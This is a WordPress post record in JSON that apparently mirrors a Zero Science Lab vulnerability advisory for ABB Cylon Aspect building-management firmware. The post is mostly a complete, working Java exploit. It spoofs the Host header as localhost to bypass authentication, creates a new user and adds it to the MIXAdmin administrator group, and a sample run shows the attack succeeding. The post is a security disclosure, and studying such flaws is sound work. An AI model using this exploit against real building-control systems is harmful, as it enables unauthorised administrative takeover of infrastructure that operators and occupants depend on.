{"id":5851,"date":"2025-05-23T10:36:56","date_gmt":"2025-05-23T10:36:56","guid":{"rendered":"http:\/\/localhost\/?p=5851"},"modified":"2025-05-23T10:36:56","modified_gmt":"2025-05-23T10:36:56","slug":"abb-cylon-aspect-30803-mix-usermanager-auth-bypass-create-mixadmin","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=5851","title":{"rendered":"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">ZSL-2025-5939<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">zeroscience<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">0.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #666666; font-weight: bold;\">NONE<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NONE<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nTitle: ABB Cylon Aspect 3.08.03 (MIX-&gt;UserManager) Auth Bypass Create MIXAdmin Advisory ID: ZSL-2025-5939 Type: Local\/Remote Impact: Security Bypass, System Access,&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n<html><body><\/p>\n<p>\/*<\/p>\n<p>ABB Cylon Aspect 3.08.03 (MIX-&gt;UserManager) Auth Bypass Create MIXAdmin<\/p>\n<p>Vendor: ABB Ltd.<br \/>\n<br \/>Product web page: https:\/\/www.global.abb<br \/>\n<br \/>Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio<br \/>\n<br \/>                  Firmware: &lt;=3.08.03<\/p>\n<p>Summary: ASPECT is an award-winning scalable building energy management<br \/>\n<br \/>and control solution designed to allow users seamless access to their<br \/>\n<br \/>building data through standard building protocols including smart devices.<\/p>\n<p>Desc: ABB Cylon Aspect BMS\/BAS is vulnerable to a critical flaw in the<br \/>\n<br \/>AuthenticatedHttpServlet within its application server, enabling<br \/>\n<br \/>remote attackers to bypass authentication by setting the Host:<br \/>\n<br \/>127.0.0.1 header. This deceives the server into processing requests<br \/>\n<br \/>as if they originate from localhost, granting unauthorized access<br \/>\n<br \/>to privileged operations. Specifically, this vulnerability impacts<br \/>\n<br \/>the UserManager and GroupManager servlets, allowing unauthenticated<br \/>\n<br \/>attackers to create and remove users and groups without credentials.<br \/>\n<br \/>The flaw stems from the servlet\u2019s automatic authorization of localhost<br \/>\n<br \/>requests as the aamuser account, exposing these sensitive functions<br \/>\n<br \/>to both local and remote exploitation. By leveraging this bypass,<br \/>\n<br \/>attackers can manipulate user and group configurations, potentially<br \/>\n<br \/>escalating privileges or disrupting system access controls.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n<br \/>$ java -jar MixExploit.jar 192.168.73.31 testingus 123456 MIXAdmin<br \/>\n<br \/>[+] User &#8216;testingus&#8217; added successfully.<br \/>\n<br \/>[+] Found MIXAdmin users: [aamuser, thricer, burj, redbull]<br \/>\n<br \/>[+] User &#8216;testingus&#8217; added to MIXAdmin.<br \/>\n<br \/>[+] User &#8216;testingus&#8217; found in UserManager.<br \/>\n<br \/>[+] User &#8216;testingus&#8217; is in MIXAdmin group.<br \/>\n<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>Tested on: GNU\/Linux 3.15.10 (armv7l)<br \/>\n<br \/>           GNU\/Linux 3.10.0 (x86_64)<br \/>\n<br \/>           GNU\/Linux 2.6.32 (x86_64)<br \/>\n<br \/>           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz<br \/>\n<br \/>           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz<br \/>\n<br \/>           PHP\/7.3.11<br \/>\n<br \/>           PHP\/5.6.30<br \/>\n<br \/>           PHP\/5.4.16<br \/>\n<br \/>           PHP\/4.4.8<br \/>\n<br \/>           PHP\/5.3.3<br \/>\n<br \/>           AspectFT Automation Application Server<br \/>\n<br \/>           lighttpd\/1.4.32<br \/>\n<br \/>           lighttpd\/1.4.18<br \/>\n<br \/>           Apache\/2.2.15 (CentOS)<br \/>\n<br \/>           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)<br \/>\n<br \/>           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)<br \/>\n<br \/>           ErgoTech MIX Deployment Server 2.0.0<\/p>\n<p>Vulnerability discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic<br \/>\n<br \/>Macedonian Information Security Research and Development Laboratory<br \/>\n<br \/>Zero Science Lab &#8211; https:\/\/www.zeroscience.mk &#8211; @zeroscience<\/p>\n<p>Advisory ID: ZSL-2025-5939<br \/>\n<br \/>Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5939.php<\/p>\n<p>21.04.2024<\/p>\n<p>*\/<\/p>\n<p>import java.io.*;<br \/>\n<br \/>import java.net.*;<br \/>\n<br \/>import java.util.*;<br \/>\n<br \/>import java.util.regex.Matcher;<br \/>\n<br \/>import java.util.regex.Pattern;<\/p>\n<p>public class MixExploit {<br \/>\n<br \/>    private static final String USER_MANAGER_URL = &#8220;\/servlets\/UserManager&#8221;;<br \/>\n<br \/>    private static final String GROUP_MANAGER_URL = &#8220;\/servlets\/GroupManager?selectedGroup=MIXAdmin&#8221;;<br \/>\n<br \/>    private static final int PORT = 7226;<\/p>\n<p>    public static void main(String[] args) {<br \/>\n<br \/>        if (args.length != 4) {<br \/>\n<br \/>            printUsage();<br \/>\n<br \/>            return;<br \/>\n<br \/>        }<\/p>\n<p>        String ip = args[0];<br \/>\n<br \/>        String newUser = args[1];<br \/>\n<br \/>        String password = args[2];<br \/>\n<br \/>        String group = args[3];<\/p>\n<p>        try {<br \/>\n<br \/>            if (!checkServerAndUser(ip, newUser)) {<br \/>\n<br \/>                System.out.println(&#8220;[-] Aborting: Either server is not AspectFT or user &#8216;&#8221; + newUser + &#8220;&#8216; already exists.&#8221;);<br \/>\n<br \/>                return;<br \/>\n<br \/>            }<\/p>\n<p>            addNewUser(ip, newUser, password);<br \/>\n<br \/>            System.out.println(&#8220;[+] User &#8216;&#8221; + newUser + &#8220;&#8216; added successfully.&#8221;);<\/p>\n<p>            List<string> mixAdminUsers = enumerateUsers(ip);<br \/>\n<br \/>            System.out.println(&#8220;[+] Found MIXAdmin users: &#8221; + mixAdminUsers);<\/p>\n<p>            addUsersToGroup(ip, mixAdminUsers, newUser, group);<br \/>\n<br \/>            System.out.println(&#8220;[+] User &#8216;&#8221; + newUser + &#8220;&#8216; added to &#8221; + group + &#8220;.&#8221;);<\/p>\n<p>            Thread.sleep(3000);<\/p>\n<p>            verifyUserAdded(ip, newUser);<\/p>\n<p>        } catch (IOException e) {<br \/>\n<br \/>            System.out.println(&#8220;[-] Error: &#8221; + e.getMessage());<br \/>\n<br \/>        } catch (InterruptedException e) {<br \/>\n<br \/>            System.out.println(&#8220;[-] Sleep interrupted: &#8221; + e.getMessage());<br \/>\n<br \/>        }<br \/>\n<br \/>    }<\/p>\n<p>    private static void printUsage() {<br \/>\n<br \/>        System.out.println(&#8220;\\n&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;                P   R   O   J   E   C   T&#8221;);<br \/>\n<br \/>        System.out.println(&#8220;&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;                        .|&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;                        | |&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;                        |&#8217;|            ._____&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;                ___    |  |            |.   |&#8217; .&#8212;\\&#8221;|&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;        _    .-&#8216;   &#8216;-. |  |     .&#8211;&#8216;|  ||   | _|    |&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;     .-&#8216;|  _.|  |    ||   &#8216;-__  |   |  |    ||      |&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;     |&#8217; | |.    |    ||       | |   |  |    ||      |&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;  ___|  &#8216;-&#8216;     &#8216;    \\&#8221;\\&#8221;       &#8216;-&#8216;   &#8216;-.&#8217;    &#8216;`      |___&#8221;);<br \/>\n<br \/>        System.out.println(&#8220;\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591  &#8220;);<br \/>\n<br \/>        System.out.println(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 &#8220;);<br \/>\n<br \/>        System.out.println(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 &#8220;);<br \/>\n<br \/>        System.out.println(&#8220;\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 &#8220;);<br \/>\n<br \/>        System.out.println(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 &#8220;);<br \/>\n<br \/>        System.out.println(&#8220;\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 &#8220;);<br \/>\n<br \/>        System.out.println(&#8220;\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;         \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 &#8220;);<br \/>\n<br \/>        System.out.println(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591 &#8220;);<br \/>\n<br \/>        System.out.println(&#8221;         \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2592\u2593\u2588\u2588\u2588\u2593\u2592\u2591&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591&#8221;);<br \/>\n<br \/>        System.out.println(&#8221;         \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591&#8221;);<br \/>\n<br \/>        System.out.println(&#8220;\\n&#8221;);<br \/>\n<br \/>        System.out.println(&#8220;Usage: java -jar MixExploit.jar <ip> <user> <pass> <group>&#8220;);<br \/>\n<br \/>        System.out.println(&#8220;Example: java -jar MixExploit.jar 192.168.73.31 testingus 123456 MIXAdmin&#8221;);<br \/>\n<br \/>    }<\/p>\n<p>    private static boolean checkServerAndUser(String ip, String newUser) throws IOException {<br \/>\n<br \/>        String response = sendGetRequest(ip, USER_MANAGER_URL);<\/p>\n<p>        if (!response.contains(&#8220;Server:AspectFT Automation Application Server&#8221;)) {<br \/>\n<br \/>            System.out.println(&#8220;[-] Server is not AspectFT Automation Application Server.&#8221;);<br \/>\n<br \/>            return false;<br \/>\n<br \/>        }<\/p>\n<p>        if (response.contains(&#8220;value='&#8221; + newUser + &#8220;&#8216;&#8221;)) {<br \/>\n<br \/>            System.out.println(&#8220;[-] User &#8216;&#8221; + newUser + &#8220;&#8216; already exists in UserManager.&#8221;);<br \/>\n<br \/>            return false;<br \/>\n<br \/>        }<\/p>\n<p>        return true;<br \/>\n<br \/>    }<\/p>\n<p>    private static void addNewUser(String ip, String username, String password) throws IOException {<br \/>\n<br \/>        String url = USER_MANAGER_URL;<br \/>\n<br \/>        String postData = &#8220;newuser=&#8221; + URLEncoder.encode(username, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;password=&#8221; + URLEncoder.encode(password, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;passwordConfirm=&#8221; + URLEncoder.encode(password, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;Insert=Add&#8221;;<\/p>\n<p>        sendPostRequest(ip, url, postData);<br \/>\n<br \/>    }<\/p>\n<p>    private static List<string> enumerateUsers(String ip) throws IOException {<br \/>\n<br \/>        String response = sendGetRequest(ip, USER_MANAGER_URL);<\/p>\n<p>        List<string> mixAdminUsers = new ArrayList&lt;&gt;();<br \/>\n<br \/>        Pattern userPattern = Pattern.compile(&#8220;<\/p>\n<tr>\n<td class='\\\"data\\\"'>.*?value='([^&#8217;]+)&#8217;.*?<\/td>\n<td class='\\\"data\\\"'>(.*?)<\/td>\n<p>&#8220;, Pattern.DOTALL);<br \/>\n<br \/>        Pattern groupPattern = Pattern.compile(&#8220;GroupManager\\\\?selectedGroup=\\\\s*MIXAdmin&#8221;);<\/p>\n<p>        Matcher userMatcher = userPattern.matcher(response);<br \/>\n<br \/>        while (userMatcher.find()) {<br \/>\n<br \/>            String user = userMatcher.group(1);<br \/>\n<br \/>            String groups = userMatcher.group(2);<br \/>\n<br \/>            if (groupPattern.matcher(groups).find()) {<br \/>\n<br \/>                mixAdminUsers.add(user);<br \/>\n<br \/>            }<br \/>\n<br \/>        }<\/p>\n<p>        return mixAdminUsers;<br \/>\n<br \/>    }<\/p>\n<p>    private static void addUsersToGroup(String ip, List<string> existingUsers, String newUser, String group) throws IOException {<br \/>\n<br \/>        String url = GROUP_MANAGER_URL;<\/p>\n<p>        String preventiveRight = new StringBuilder().append(existingUsers).append(&#8220;,&#8221;).append(newUser).toString();<\/p>\n<p>        StringBuilder newRight = new StringBuilder();<br \/>\n<br \/>        for (String user : existingUsers) {<br \/>\n<br \/>            newRight.append(URLEncoder.encode(user, &#8220;UTF-8&#8221;)).append(&#8220;,&#8221;);<br \/>\n<br \/>        }<br \/>\n<br \/>        newRight.append(URLEncoder.encode(newUser, &#8220;UTF-8&#8221;));<\/p>\n<p>        String postData = &#8220;groupName=&#8221; + URLEncoder.encode(group, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;removedLeft=&#8221; + URLEncoder.encode(newUser, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;removedRight=&#8221; + URLEncoder.encode(&#8220;&#8221;, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;addedLeft=&#8221; + URLEncoder.encode(&#8220;&#8221;, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;addedRight=&#8221; + URLEncoder.encode(newUser, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;newLeft=&#8221; + URLEncoder.encode(&#8220;&#8221;, &#8220;UTF-8&#8221;) +<br \/>\n<br \/>                &#8220;&amp;newRight=&#8221; + newRight.toString() +<br \/>\n<br \/>                &#8220;&amp;EditGroup=Save&#8221;;<\/p>\n<p>        sendPostRequest(ip, url, postData);<br \/>\n<br \/>    }<\/p>\n<p>    private static void verifyUserAdded(String ip, String username) throws IOException {<br \/>\n<br \/>        String response = sendGetRequest(ip, USER_MANAGER_URL);<\/p>\n<p>        if (response.contains(&#8220;value='&#8221; + username + &#8220;&#8216;&#8221;)) {<br \/>\n<br \/>            System.out.println(&#8220;[+] User &#8216;&#8221; + username + &#8220;&#8216; found in UserManager.&#8221;);<br \/>\n<br \/>            if (response.contains(&#8220;MIXAdmin&#8221;)) {<br \/>\n<br \/>                System.out.println(&#8220;[+] User &#8216;&#8221; + username + &#8220;&#8216; is in MIXAdmin group.&#8221;);<br \/>\n<br \/>            } else {<br \/>\n<br \/>                System.out.println(&#8220;[-] User &#8216;&#8221; + username + &#8220;&#8216; not in MIXAdmin group.&#8221;);<br \/>\n<br \/>            }<br \/>\n<br \/>        } else {<br \/>\n<br \/>            System.out.println(&#8220;[-] User &#8216;&#8221; + username + &#8220;&#8216; not found in UserManager.&#8221;);<br \/>\n<br \/>        }<br \/>\n<br \/>    }<\/p>\n<p>    private static String sendPostRequest(String ip, String path, String postData) throws IOException {<br \/>\n<br \/>        Socket socket = new Socket(ip, PORT);<br \/>\n<br \/>        OutputStream out = socket.getOutputStream();<br \/>\n<br \/>        BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));<\/p>\n<p>        String request = &#8220;POST &#8221; + path + &#8221; HTTP\/1.1\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;Host: localhost\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;Content-Type: application\/x-www-form-urlencoded\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;Content-Length: &#8221; + postData.length() + &#8220;\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;Connection: close\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;\\r\\n&#8221; +<br \/>\n<br \/>                postData;<\/p>\n<p>        out.write(request.getBytes(&#8220;UTF-8&#8221;));<br \/>\n<br \/>        out.flush();<\/p>\n<p>        StringBuilder response = new StringBuilder();<br \/>\n<br \/>        String line;<br \/>\n<br \/>        while ((line = in.readLine()) != null) {<br \/>\n<br \/>            response.append(line).append(&#8220;\\n&#8221;);<br \/>\n<br \/>        }<\/p>\n<p>        socket.close();<br \/>\n<br \/>        return response.toString();<br \/>\n<br \/>    }<\/p>\n<p>    private static String sendGetRequest(String ip, String path) throws IOException {<br \/>\n<br \/>        Socket socket = new Socket(ip, PORT);<br \/>\n<br \/>        OutputStream out = socket.getOutputStream();<br \/>\n<br \/>        BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));<\/p>\n<p>        String request = &#8220;GET &#8221; + path + &#8221; HTTP\/1.1\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;Host: localhost\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;Connection: close\\r\\n&#8221; +<br \/>\n<br \/>                &#8220;\\r\\n&#8221;;<\/p>\n<p>        out.write(request.getBytes(&#8220;UTF-8&#8221;));<br \/>\n<br \/>        out.flush();<\/p>\n<p>        StringBuilder response = new StringBuilder();<br \/>\n<br \/>        String line;<br \/>\n<br \/>        while ((line = in.readLine()) != null) {<br \/>\n<br \/>            response.append(line).append(&#8220;\\n&#8221;);<br \/>\n<br \/>        }<\/p>\n<p>        socket.close();<br \/>\n<br \/>        return response.toString();<br \/>\n<br \/>    }<br \/>\n<br \/>}<br \/>\n<br \/><\/string><\/tr>\n<p><\/string><\/string><\/group><\/pass><\/user><\/ip><\/string><\/p>\n<p><\/body><\/html>\n<\/div>\n<p><a href=\"http:\/\/zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5939.php\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin Exploit ID ZSL-2025-5939 Type zeroscience Published 2025-05-22T00:00:00 Modified 2025-05-22T00:00:00 CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,13,33,7,11,5,107],"class_list":["post-5851","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ABB Cylon Aspect 3.08.03 (MIX-&gt;UserManager) Auth Bypass Create MIXAdmin - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=5851\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ABB Cylon Aspect 3.08.03 (MIX-&gt;UserManager) Auth Bypass Create MIXAdmin - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 (MIX-&gt;UserManager) Auth Bypass Create MIXAdmin Exploit ID ZSL-2025-5939 Type zeroscience Published 2025-05-22T00:00:00 Modified 2025-05-22T00:00:00 CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=5851\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-23T10:36:56+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5851#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5851\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin\",\"datePublished\":\"2025-05-23T10:36:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5851\"},\"wordCount\":1133,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\",\"zeroscience\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5851#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5851\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5851\",\"name\":\"ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin - zero 